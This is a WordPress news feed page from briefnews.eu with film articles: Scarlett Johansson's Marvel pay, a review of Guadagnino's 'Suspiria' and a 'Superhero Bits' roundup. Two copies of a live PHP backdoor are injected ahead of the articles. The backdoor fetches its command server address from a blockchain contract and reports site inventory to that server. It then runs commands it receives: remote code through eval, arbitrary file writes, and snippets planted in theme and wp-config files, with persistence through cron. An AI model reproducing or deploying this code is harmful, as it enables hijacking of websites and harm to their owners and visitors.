// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cinematic – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 11 Oct 2018 20:33:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cinematic – Brief News https://briefnews.eu 32 32 Scarlett Johansson will make $15 million for her Black Widow movie — here’s how that compares to 5 other Marvel Cinematic Universe stars https://briefnews.eu/scarlett-johansson-will-make-15-million-for-her-black-widow-movie-heres-how-that-compares-to-5-other-marvel-cinematic-universe-stars/ https://briefnews.eu/scarlett-johansson-will-make-15-million-for-her-black-widow-movie-heres-how-that-compares-to-5-other-marvel-cinematic-universe-stars/#respond Thu, 11 Oct 2018 20:33:08 +0000 http://briefnews.eu/scarlett-johansson-will-make-15-million-for-her-black-widow-movie-heres-how-that-compares-to-5-other-marvel-cinematic-universe-stars/ Black Widow Disney finalDisney

After being in six Marvel Cinematic Universe movies as Black Widow, Scarlett Johansson is finally getting paid big time.

The actress is going to be taking in $ 15 million for her upcoming standalone movie, a salary that equals what Chris Evans and Chris Hemsworth both earned on “Avengers: Infinity War,” according to The Hollywood Reporter.

If you think six movies (counting “Avengers 4”) is quite a long time to get a raise (Johansson earned a low seven-figure check for the first “Avengers” movie back in 2012, according to THR), it’s actually par for the course when it comes to how Disney and Marvel Studios pay stars. Basically, the longer you stay in the franchise, the more you’ll eventually make.

Here’s how much 5 other actors have been paid during their time in the MCU:

Chris Hemsworth — $ 150,000 for “Thor” (2011) / $ 15 million for “Avengers: Infinity War” (2017)

Marvel Studios

The actor didn’t have many credits to his name when he came on to play Odin’s son in the first movie, so he didn’t have much leverage when it came to negotiating a salary. But clearly things have worked out well for him.

Chris Evans — $ 1 million for “Captain America: The First Avenger” (2011) / $ 15 million for “Avengers: Infinity War” (2017)

Marvel

This Chris likely got a little more because he had better name recognition when he agreed to play Steve Rogers. In fact, he had already played a superhero. He was Johnny Storm in the early 2000s version of the “Fantastic Four” franchise.

Chadwick Boseman — $ 2 million for “Black Panther” (2017) / Upcoming MCU movies: Unknown

Walt Disney Studios Motion Pictures

For Disney standards, starting out at $ 2 million isn’t bad. And being part of one of the biggest Marvel hits of all time certainly led to Boseman getting a nice bonus. He’ll definitely be looking at bigger paydays playing T’Challa going forward.


See the rest of the story at Business Insider

See Also:

SEE ALSO: The screenwriter of “First Man” spent 4 years researching Neil Armstrong to craft a true-life story even some hardcore space historians didn’t know

]]> https://briefnews.eu/scarlett-johansson-will-make-15-million-for-her-black-widow-movie-heres-how-that-compares-to-5-other-marvel-cinematic-universe-stars/feed/ 0 ‘Suspiria’ Review: Luca Guadagnino’s Adaptation Casts a Seductive Cinematic Spell [Fantastic Fest] https://briefnews.eu/suspiria-review-luca-guadagninos-adaptation-casts-a-seductive-cinematic-spell-fantastic-fest/ https://briefnews.eu/suspiria-review-luca-guadagninos-adaptation-casts-a-seductive-cinematic-spell-fantastic-fest/#respond Tue, 25 Sep 2018 14:11:53 +0000 http://briefnews.eu/suspiria-review-luca-guadagninos-adaptation-casts-a-seductive-cinematic-spell-fantastic-fest/ Suspiria Review

In order to properly understand the overall tone and style of writer/director Luca Guadagnino’s Suspiria, one must first address its setting: 1977 Berlin, during which a series of violent events occurred that became known as “The German Autumn.” An insurgent group called the Red Army Faction partook in a series of bombings, kidnappings, assassinations, bank robberies, and shootouts with the local police force. They raged a revolutionary war against the West German government with an anti-fascist and anti-imperialism ideology.

Another notable event in 1977– Dario Argento released Suspiria, which he and Daria Nicolodi co-wrote, loosely based off of Thomas De Quincey’s 1845 essay ‘Levana and Our Ladies of Sorrow’, a part of his book Suspiria de Profundis. The plot revolves around three mothers or witches that came into being during the 11th century and took up residency in three different parts of the world. Mater Suspiriorum/ Helen Markos (Mother of Sighs), the oldest and wisest; Mater Tenebrarum (Mother of Darkness), the youngest and most cruel; and Mater Lachrymarum (Mother of Tears), the most powerful and beautiful, make up the sisterhood of sorcery that wreak havoc in a highly stylized fashion. Argento is renowned for his signature black-gloved kill scenes, vibrant use of color, and frequent collaborators including Nicolodi and progressive rock band, Goblin.

On the one hand, it makes sense to create films with elaborate use of color in order to offset and distract audiences from their bleak reality. However, in this new take on Suspiria, Guadagnino fully embraces the pain and trauma present during the German Autumn, as he wisely selects mundane color schemes that parallel the oppression of the times and desperate need for expression and catharsis that art arouses. Argento allowed viewers to have a polychromatic escapism in the moment of 1977, but in the modern day, it’s fitting to adjust the color palettes as a means of retrospection and deviate from the original narrative by tying in historical elements for story depth. Guadagnino claims this film as his own with subtle nods to the master of Italian horror. You don’t need to see the original to understand the new narrative, but I suggest viewing it at least once for the sake of staying open-minded about how truly fascinating another perspective can be within the realm of cinema.

Suspiria is structured in six acts and an epilogue. It opens with a seemingly deranged and desperate dancer named Patricia (Chloë Grace Moretz) who is seeking help from her therapist, Dr. Josef Klemperer (Tilda Swinton donning masculine prosthetics). There is immediate transparency that her dance academy is run by a coven of witches which leads the film to explore its themes, shine in its practical effects, and explore a new territory with its narrative.

Following Patricia’s meltdown and disappearance, Susie Bannion (Dakota Johnson), an ambitious yet reserved dancer who grew up in the repressed Amish community of Ohio, arrives to the prestigious Markos Dance Academy run by matriarch Madame Blanc (Tilda Swinton).  In her audition, Susie is instructed to dance without music. This is the first introduction of how pivotal movement is in the film’s plot and the use of the human body as an instrument for both creation and destruction. The choreography is the sacred key to conjuring violence from the coven, and they need to ensure Susie’s talent is strong enough to executive their necessary evils. The dance sequences are brilliant both in their significance within the storyline and razor-sharp delivery. Animalistic hunching, crawling and rolling across the floor, abrupt thrusts into open space and the fluid weaving around each other’s bodies is quite a marvel to witness. Screenwriter David Kajganich solely referenced female choreographers as inspiration, including world renowned instructors Mary Wigman and Sasha Waltz. While Argento is in favor of knives and stabbing sequences, Guadagnino opens up a whole new dimension of body horror and violence by utilizing dance as lethal spellwork. And by lethal, I mean brutally twisting and contorting to a disgustingly delightful degree that will leave you with a rivetingly repulsive sense of awe.

suspiria screenshot 2

Madame Blanc begins to groom Susie by assigning her the lead role in their performance of Volk, a powerful production conceptualized from the days of World War II era Berlin. The socio-political themes linger throughout the film and provide insight to the world outside of the academy’s walls by way of newscast updates on the radio and television, but also inside the coven as the women hone their technique. The group of all female teachers keep a close eye on Susie’s abilities, nurturing her skills for their own cryptic purpose. Emphasizing illusion is their craft, nightmare sequences conjured up by Blanc are projected onto Susie as she sleeps through symbolic images pertaining to sexual awakening and repressed power. Bright pops of color, experimental camera work, and quick horrific images are induced like a bad acid trip as they fuse together in the gruesome giallo style comparable to Argento, Bava, and Fulci.

Power dynamics play out among the older generation of women, while the young dancers form a refreshing sisterhood that is otherwise void in most films revolving around female performers like Center Stage or Black Swan. There is no specific antagonist among the girls, clawing to get ahead or take revenge on the success of another. They support each other’s successes and display genuine concern for each other which is what makes the core of a coven so powerful. While the representation of witches can possess a multiplicity in pop culture and history, this anchor would have been interesting to explore deeper instead of narrowing the focus on the romantic backstory of Dr. Klemperer. Jessica Harper, who dazzled us with dread as Argento’s Susie Bannion, plays his fallen love interest in a subplot that feels drawn out and disjointed when discussing a politicized film about female witches. The doctor’s guilt over his inability to help the missing dancers is muddled with his own past and eclipses the coven narrative while robbing the witches of their opportunity to enhance those painful yet powerful themes instead.

While Suspiria successfully employs tension and its own unique visual aesthetic complete with glorious use of gore, the auditory elements fall short outside of climactic dance scenes. Thom Yorke’s score lacks the demonic torment of Goblin’s original. Instead, the tracks pull melodies inward to a subconscious degree. However, that could perhaps be its strength or intention. While Gobin’s sound was invasive and tantalizing from an outside perspective to further drive fear, Yorke’s sound resonates internally and cradles the narrative for growth that only vibrantly reveals itself explicitly in a memorable fashion when the girls take the stage. A singular film able to perform solo, Suspiria casts a seductive cinematic spell complete with visceral horror and captivating choreography. Like the blood-red costumes tightly bound around the girls’ bodies, Luca Guadagnino’s adaptation weaves brutality and beauty together in devilish style.

/Film Rating: 9.5 out of 10

The post ‘Suspiria’ Review: Luca Guadagnino’s Adaptation Casts a Seductive Cinematic Spell [Fantastic Fest] appeared first on /Film.

]]> https://briefnews.eu/suspiria-review-luca-guadagninos-adaptation-casts-a-seductive-cinematic-spell-fantastic-fest/feed/ 0 Superhero Bits: Lois Lane is Coming to the Arrowverse, ‘Venom’ Cinematic Influences & More https://briefnews.eu/superhero-bits-lois-lane-is-coming-to-the-arrowverse-venom-cinematic-influences-more/ https://briefnews.eu/superhero-bits-lois-lane-is-coming-to-the-arrowverse-venom-cinematic-influences-more/#respond Fri, 24 Aug 2018 05:55:20 +0000 http://briefnews.eu/superhero-bits-lois-lane-is-coming-to-the-arrowverse-venom-cinematic-influences-more/ Spider-Man PS4 - Electro

When will Lois Lane debut in the Arrowverse? What will the Alfred Pennyworth prequel series on Epix focus on? Which Marvel Cinematic Universe superheroes are the only ones who haven’t killed anybody? Does Stan Lee secretly have a powerful weapon in the MCU? Which horror movies inspired director Ruben Fleischer for Venom? All that and more in this edition of Superhero Bits.

The CW released a new sizzle reel of all their returning DC Comics superhero shows coming back later this fall.

A Marvel fan on Reddit wonders how strong the hair razor is that Stan Lee uses on Thor in Thor: Ragnarok.

Amber Heard revealed a couple new dolls of her Aquaman character Mera that will be on shelves this fall.

Kyle Secor (Veronica Mars, The Purge: Election Year) will recur on The Flash as Caitlin Snow‘s father.

Return of Wolverine

Return of Wolverine #1 gives Wolverine a new black costume when the comic arrives this September.

Some new details have emerged on the wholly unnecessary Alfred Pennyworth prequel series coming to Epix.

Spider-Man PS4 - Shocker

PlayStation has a rundown of some of the major villains Spider-Man will encounter in his new PS4 game.

Lois Lane will make her debut in the Arrowverse in the upcoming crossover episode featuring Superman.

Continue Reading Superhero Bits

Due to the amount of graphics and images included in Superhero Bits, we have to split this post over THREE pages. Click the link above to continue to the next page of Superhero Bits.

The post Superhero Bits: Lois Lane is Coming to the Arrowverse, ‘Venom’ Cinematic Influences & More appeared first on /Film.

